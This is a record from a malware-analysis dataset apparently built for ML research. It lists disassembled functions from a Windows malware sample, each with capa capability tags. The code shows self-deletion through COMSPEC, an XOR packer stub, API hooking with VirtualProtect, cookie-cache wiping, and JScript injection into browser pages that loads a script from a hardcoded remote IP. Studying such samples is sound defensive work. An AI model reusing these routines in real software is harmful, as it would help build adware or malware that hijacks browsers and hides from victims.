joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404fa4
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a4
push ebx
push esi
push edi
lea eax, [ebp - 0x108]
push str.Software
push eax
mov ebx, ecx
call sub.MSVCRT.dll_strcpy
mov esi, 0x40c0e0
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push str.Microsoft
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push str.Windows
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push str.Current
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push str.Version
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x40
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push 0x40c270
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0xc]
lea eax, [ebp - 0x3a4]
push str._s.dll
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x1c
lea eax, [ebp - 0x3a4]
mov ecx, ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00404c01
lea eax, [ebp - 0x19c]
mov dword [ebp - 0x19c], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
mov esi, 0x20006
mov edi, 0x80000002
je 0x4050f3
xor eax, eax
cmp dword [ebp - 0x18c], 1
sete al
test eax, eax
je 0x4050f3
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x2a0]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x2a0]
push str.services
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 4]
mov ecx, ebx
push eax
lea eax, [ebp - 0x2a0]
push esi
push eax
push edi
call fcn.0040516e
test eax, eax
je 0x405129
lea eax, [ebp - 4]
mov ecx, ebx
push eax
lea eax, [ebp - 0x108]
push esi
push eax
push edi
call fcn.0040516e
test eax, eax
je 0x405129
lea eax, [ebp - 4]
mov ecx, ebx
push eax
lea eax, [ebp - 0x108]
push esi
push eax
push 0x80000001
call fcn.0040516e
mov esi, eax
test esi, esi
jne 0x40515c
cmp dword [ebp + 0x10], 0
jne 0x40513d
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x40515a
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40526f
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
mov esi, 0x104
push edi
lea eax, [ebp - 0x158]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4053a9
lea eax, [ebp - 0x158]
push esi
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4053a9
lea eax, [ebp - 0x360]
push esi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4053a9
lea eax, [ebp - 0x25c]
push str.__c_del
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x25c]
push eax
call esi
lea eax, [ebp - 0x25c]
push str.___nul
push eax
call esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x360]
push eax
call esi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x100
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push 0xc
push ebx
push ebx
lea eax, [ebp - 0x360]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40539e
push 0x40
push dword [ebp - 0x10]
call esi
push 0xfffffffffffffff1
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
jmp 0x4053ab
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053b0
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x108]
push 0x80
push eax
call ebx
lea eax, [ebp - 0x108]
push 0x5c
push eax
call sub.MSVCRT.dll__mbsrchr
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x405448
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strlen
lea ecx, [ebp - 0x108]
sub ecx, edi
inc edi
lea esi, [eax + ecx - 5]
lea eax, [ebp - 0x20c]
push esi
push edi
push eax
call sub.MSVCRT.dll__mbsnbcpy
mov ecx, dword [ebp - 4]
add esp, 0x10
and byte [ebp + esi - 0x20c], 0
lea eax, [ebp - 0x20c]
push 0
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00404fa4
pop esi
lea eax, [ebp - 0x108]
push 0x40c290
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea ecx, [ebp - 0x108]
sub ecx, 3
add eax, ecx
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x108]
pop ecx
push 0x80
push eax
call ebx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0040526f
pop edi
pop ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x38012d51
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x38913e6
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4012a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push str.DSound.dll
mov byte [esp + 0x18], 0xc2
mov byte [esp + 0x19], 0xc
mov byte [esp + 0x14], 0x8b
mov byte [esp + 0x15], 0xff
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x401446
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.DirectSoundCreate
push ebx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, eax
test esi, esi
je 0x401325
lea eax, [esp + 0x18]
push eax
push 0x40
push 3
push esi
call edi
mov eax, dword [esp + 0x24]
mov ecx, esi
test eax, eax
jne 0x40130c
mov dx, word [esp + 0x10]
mov al, 0x55
mov word [ecx], dx
jmp 0x401316
mov dx, word [esp + 0x14]
xor al, al
mov word [ecx], dx
mov byte [ecx + 2], al
lea eax, [esp + 0x18]
push eax
push 0x20
push 3
push esi
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.Winmm.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x1c], ebx
je 0x401446
push str.midiStreamOpen
push ebx
call ebp
push str.midiStreamOut
push ebx
mov esi, eax
call ebp
mov ecx, dword [esp + 0x1c]
push str.waveOutWrite
push ecx
mov ebx, eax
call ebp
test esi, esi
mov ebp, eax
je 0x4013a6
lea edx, [esp + 0x18]
push edx
push 0x40
push 3
push esi
call edi
mov eax, dword [esp + 0x24]
mov ecx, esi
test eax, eax
jne 0x40138d
mov dx, word [esp + 0x10]
mov al, 0x55
mov word [ecx], dx
jmp 0x401397
mov dx, word [esp + 0x14]
xor al, al
mov word [ecx], dx
mov byte [ecx + 2], al
lea eax, [esp + 0x18]
push eax
push 0x20
push 3
push esi
call edi
test ebx, ebx
je 0x4013ea
lea ecx, [esp + 0x18]
push ecx
push 0x40
push 3
push ebx
call edi
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x4013cf
mov ax, word [esp + 0x10]
mov edx, ebx
mov word [edx], ax
mov al, 0x55
mov byte [edx + 2], al
jmp 0x4013de
mov dx, word [esp + 0x14]
mov ecx, ebx
xor al, al
mov word [ecx], dx
mov byte [ecx + 2], al
lea eax, [esp + 0x18]
push eax
push 0x20
push 3
push ebx
call edi
test ebp, ebp
je 0x40142e
lea ecx, [esp + 0x18]
push ecx
push 0x40
push 3
push ebp
call edi
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x401413
mov ax, word [esp + 0x10]
mov edx, ebp
mov word [edx], ax
mov al, 0x55
mov byte [edx + 2], al
jmp 0x401422
mov dx, word [esp + 0x14]
mov ecx, ebp
xor al, al
mov word [ecx], dx
mov byte [ecx + 2], al
lea eax, [esp + 0x18]
push eax
push 0x20
push 3
push ebp
call edi
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
Function at 0x401900
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 0
call esi
push 1
mov edi, eax
call esi
mov ebx, eax
call sub.MSVCRT.dll_rand
and eax, 0x80000001
jns 0x401926
dec eax
or eax, 0xfffffffe
inc eax
jne 0x401954
mov eax, edi
cdq
sub eax, edx
mov ecx, eax
mov eax, ebx
cdq
sub eax, edx
mov esi, eax
mov eax, edi
cdq
and edx, 3
add eax, edx
mov edi, eax
mov eax, ebx
cdq
and edx, 3
add eax, edx
sar ecx, 1
sar esi, 1
sar edi, 2
sar eax, 2
jmp 0x40195c
mov ecx, edi
xor edi, edi
mov esi, ebx
xor eax, eax
mov edx, dword [esp + 0x10]
push 0
push edx
push 0
push 0
push esi
push ecx
mov ecx, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x38]
push edi
push 0xcf0000
push eax
push ecx
push 8
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
test esi, esi
jne 0x40198c
pop edi
pop esi
pop ebx
ret
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0x600
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
mov dword [0x4569d0], esi
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x4019c0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
xor eax, eax
push esi
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
pushal
mov ebx, dword fs:[0x18]
mov eax, dword fs:[0x30]
mov ebx, dword [eax + 0xa8]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 8], ebx
mov dword [ebp - 4], eax
popal
cmp dword [ebp - 4], 5
jne 0x401a04
mov ecx, dword [ebp - 8]
mov eax, 1
cmp ecx, eax
je 0x401a06
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401be0
Capabilities:
Delete internet cache
Enumerate internet cache

Disassembly:
push ecx
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
xor ebx, ebx
push eax
push ebx
push ebx
mov dword [esp + 0x1c], ebx
call edi
mov ecx, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push ecx
push ebx
call ebp
lea edx, [esp + 0x10]
mov esi, eax
push edx
push esi
push ebx
call edi
mov edi, eax
test edi, edi
je 0x401c76
mov ebx, dword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
mov eax, dword [esi + 4]
push 7
push str.Cookie:
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x401c40
mov ecx, dword [esi + 4]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
lea edx, [esp + 0x10]
mov dword [esp + 0x10], 0
push edx
push 0
push edi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push esi
push edi
call ebx
test eax, eax
jne 0x401c1f
mov ebx, 1
test esi, esi
je 0x401c81
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret

Function at 0x4120d0
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x18]
lea edx, [esp]
push edx
push eax
mov ecx, dword [eax]
mov dword [esp + 8], 0
call dword [ecx + 0x1b0]
test eax, eax
jl 0x41215c
push esi
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push str.window.alertmyalert__window.confirmmyalert__window.onerrorkillErrors__window.promptmyalert__function___myalert_u1__r_n__function_killErrors_msg_url_lineno___return_true__r_n
call edi
push str.JScript
mov esi, eax
call edi
mov edi, eax
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 8]
lea edx, [esp + 0xc]
push edx
push edi
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x110]
test eax, eax
jl 0x412139
push str.execScript_success
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
push esi
call edi
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
pop esi
add esp, 0x14
ret
Function at 0x412160
Capabilities:
Extract http body

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x30
push ebx
push ebp
push esi
push edi
xor edi, edi
cmp eax, edi
je 0x41233d
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
push eax
mov dword [esp + 0x18], edi
call dword [ecx + 0x20]
test eax, eax
jl 0x41233d
mov eax, dword [esp + 0x10]
cmp eax, edi
je 0x41233d
mov ecx, dword [eax]
lea edx, [esp + 0x24]
push edx
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x412333
mov eax, dword [esp + 0x24]
xor esi, esi
cmp eax, edi
mov dword [esp + 0x20], esi
jle 0x412333
lea eax, [esp + 0x30]
mov dword [esp + 0x44], edi
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea edx, [esp + 0x1c]
mov word [esp + 0x30], 3
push edx
mov edx, dword [esp + 0x34]
sub esp, 0x10
mov edi, dword [esp + 0x50]
mov ebp, esp
mov eax, esi
mov esi, dword [esp + 0x48]
sub esp, 0x10
mov dword [ebp], edx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x5c], eax
mov dword [ebp + 4], esi
mov ebx, dword [ecx]
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], edi
mov ebp, esp
push ecx
mov dword [ebp], edx
mov dword [ebp + 4], esi
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], edi
call dword [ebx + 0x2c]
test eax, eax
jl 0x412311
mov eax, dword [esp + 0x1c]
xor edi, edi
cmp eax, edi
je 0x412313
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0x4193dc
push eax
call dword [ecx]
test eax, eax
jl 0x412305
mov eax, dword [esp + 0x44]
cmp eax, edi
je 0x412305
mov ecx, dword [eax]
lea edx, [esp + 0x28]
push edx
push eax
call dword [ecx + 0x38]
test eax, eax
jl 0x4122fb
mov eax, dword [esp + 0x28]
cmp eax, edi
je 0x4122fb
push str.iframe
push eax
call sub.MSVCRT.dll__wcsicmp
add esp, 8
test eax, eax
jne 0x4122fb
mov eax, dword [esp + 0x44]
lea edx, [esp + 0x14]
mov dword [esp + 0x14], edi
push edx
mov ecx, dword [eax]
push 0x41943c
push eax
call dword [ecx]
test eax, eax
jl 0x4122fb
mov eax, dword [esp + 0x14]
cmp eax, edi
je 0x4122fb
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xf0]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x2c]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x48]
test eax, eax
jl 0x4122fb
mov eax, dword [esp + 0x2c]
cmp eax, edi
je 0x4122fb
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], edi
mov edx, dword [eax]
push ecx
push str._D_3
push eax
call dword [edx]
test eax, eax
jl 0x4122fb
mov eax, dword [esp + 0x18]
cmp eax, edi
je 0x4122fb
push eax
call fcn.004120d0
mov edx, dword [esp + 0x1c]
push edx
call fcn.00412160
add esp, 8
mov eax, dword [esp + 0x44]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x1c]
push eax
mov edx, dword [eax]
call dword [edx + 8]
jmp 0x412313
xor edi, edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
inc esi
cmp esi, eax
mov dword [esp + 0x20], esi
jl 0x4121bd
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret
Function at 0x4126f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x1c]
lea eax, [esp + 8]
push esi
push eax
push 0x40
push ebp
push ebx
mov dword [esp + 0x1c], 0
mov esi, 5
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4127ea
cmp byte [ebx], 0xe9
jne 0x412783
mov eax, dword [esp + 0x24]
test eax, eax
je 0x41277f
push 0x40
push 0x1000
push 0x40
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x1c]
mov esi, 0x7a
test eax, eax
mov dword [ecx], eax
je 0x4127db
mov edx, ebx
mov byte [eax], 0xe9
mov ecx, dword [ebx + 1]
sub edx, eax
add edx, ecx
mov ecx, ebx
mov dword [eax + 1], edx
add eax, ebp
mov byte [eax], 0xe9
inc eax
sub ecx, eax
lea edx, [ecx + ebp - 4]
mov dword [eax], edx
mov eax, dword [esp + 0x18]
sub eax, ebx
mov byte [ebx], 0xe9
sub eax, 5
mov dword [ebx + 1], eax
xor esi, esi
jmp 0x4127db
push 0x40
push 0x1000
push 0x40
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x1c]
mov esi, 0x7a
test eax, eax
mov dword [ecx], eax
je 0x4127db
mov ecx, ebp
push edi
mov edx, ecx
mov esi, ebx
mov edi, eax
add eax, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov byte [eax - 1], 0xe9
mov ecx, ebx
sub ecx, eax
pop edi
lea edx, [ecx + ebp - 4]
mov dword [eax], edx
mov eax, dword [esp + 0x18]
sub eax, ebx
mov byte [ebx], 0xe9
sub eax, 5
xor esi, esi
mov dword [ebx + 1], eax
mov ecx, dword [esp + 0xc]
push 0
push ecx
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, esi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x412ab0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4192b0
push 0x418446
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x1c], edi
mov esi, dword [ebp + 8]
mov eax, dword [esi]
lea ecx, [ebp - 0x1c]
push ecx
push 0x41943c
push esi
call dword [eax]
test eax, eax
jl 0x412c9d
mov eax, dword [ebp - 0x1c]
cmp eax, edi
je 0x412c9d
mov dword [ebp - 0x20], edi
mov edx, dword [eax]
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [edx + 0x48]
test eax, eax
jl 0x412c7e
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x412c7e
mov dword [ebp - 0x24], edi
mov edx, dword [eax]
lea ecx, [ebp - 0x24]
push ecx
push str._D_3
push eax
call dword [edx]
test eax, eax
jl 0x412c75
cmp dword [ebp - 0x24], edi
je 0x412c75
push esi
call fcn.00413160
add esp, 4
test eax, eax
je 0x412c6c
xor esi, esi
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
lea ecx, [ebp - 0x30]
push ecx
push eax
call dword [edx + 0x44]
test eax, eax
jl 0x412bda
mov eax, dword [ebp - 0x30]
cmp eax, edi
je 0x412bda
push 0x455cc0
push eax
call sub.MSVCRT.dll_wcsstr
add esp, 8
test eax, eax
jne 0x412bc3
push 0x455cbc
mov edx, dword [ebp - 0x30]
push edx
call sub.MSVCRT.dll_wcsstr
add esp, 8
test eax, eax
jne 0x412bc3
push 0x455cb4
mov eax, dword [ebp - 0x30]
push eax
call sub.MSVCRT.dll_wcsstr
add esp, 8
test eax, eax
jne 0x412bc3
push 0x455ca8
mov ecx, dword [ebp - 0x30]
push ecx
call sub.MSVCRT.dll_wcsstr
add esp, 8
test eax, eax
je 0x412bd0
mov esi, 1
mov dword [ebp - 0x2c], esi
call fcn.004011e0
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
cmp esi, edi
jne 0x412c6c
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jl 0x412c6c
mov eax, dword [ebp - 0x28]
cmp eax, edi
je 0x412c6c
push 0x457340
push eax
call sub.MSVCRT.dll__wcsicmp
add esp, 8
test eax, eax
je 0x412c62
push str.about:blank
mov eax, dword [ebp - 0x28]
push eax
call sub.MSVCRT.dll__wcsicmp
add esp, 8
test eax, eax
je 0x412c62
mov ecx, dword [ebp - 0x28]
push ecx
push 0x457340
call sub.MSVCRT.dll_wcscpy
mov edx, dword [str.http:__146.185.16.22_jsadv_noname8.js]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00412cc0
add esp, 0x10
cmp dword [0x456b24], edi
jne 0x412c62
push edi
push edi
push edi
push 0x412f10
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x456b24], eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
push eax
call dword [edx + 8]
jmp 0x412c9d
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x413400
Capabilities:
Get file version info

Disassembly:
sub esp, 0xa10
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x222]
mov word [esp + 0x220], bp
mov word [esp + 0x18], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
push str.mshtml.dll
rep stosd dword es:[edi], eax
mov dword [esp + 0x18], ebp
mov dword [esp + 0x14], ebp
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
cmp esi, ebp
jne 0x413460
push str.mshtml.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
cmp ebx, ebp
je 0x4134df
push str.GetModuleFileNameExW
push ebx
call fcn.004128a0
mov edi, eax
cmp edi, ebp
je 0x4134d8
lea eax, [esp + 0x18]
push 0x103
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
lea ecx, [esp + 0x220]
lea edx, [esp + 0x18]
push ecx
push 0x800
push ebp
push edx
call sub.VERSION.dll_GetFileVersionInfoW
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push ecx
lea edx, [esp + 0x228]
push 0x455d80
push edx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x4134d8
mov eax, dword [esp + 0x10]
mov ebp, dword [eax + 8]
shr ebp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0xa10
ret

Function at 0x414f80
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push 0x459b68
push 0
push 0
push 0x4147d0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push 0
push 0
push 0
push 0x414fc0
push 0
push 0
call esi
push eax
call edi
pop edi
pop esi
ret

Function at 0x4150a0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x104
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push eax
call fcn.004150f0
add esp, 4
lea ecx, [esp + 4]
push 0
push 0x3e8
push 0
push 0
push 1
push 0
push 3
push ecx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
pop edi
add esp, 0x104
ret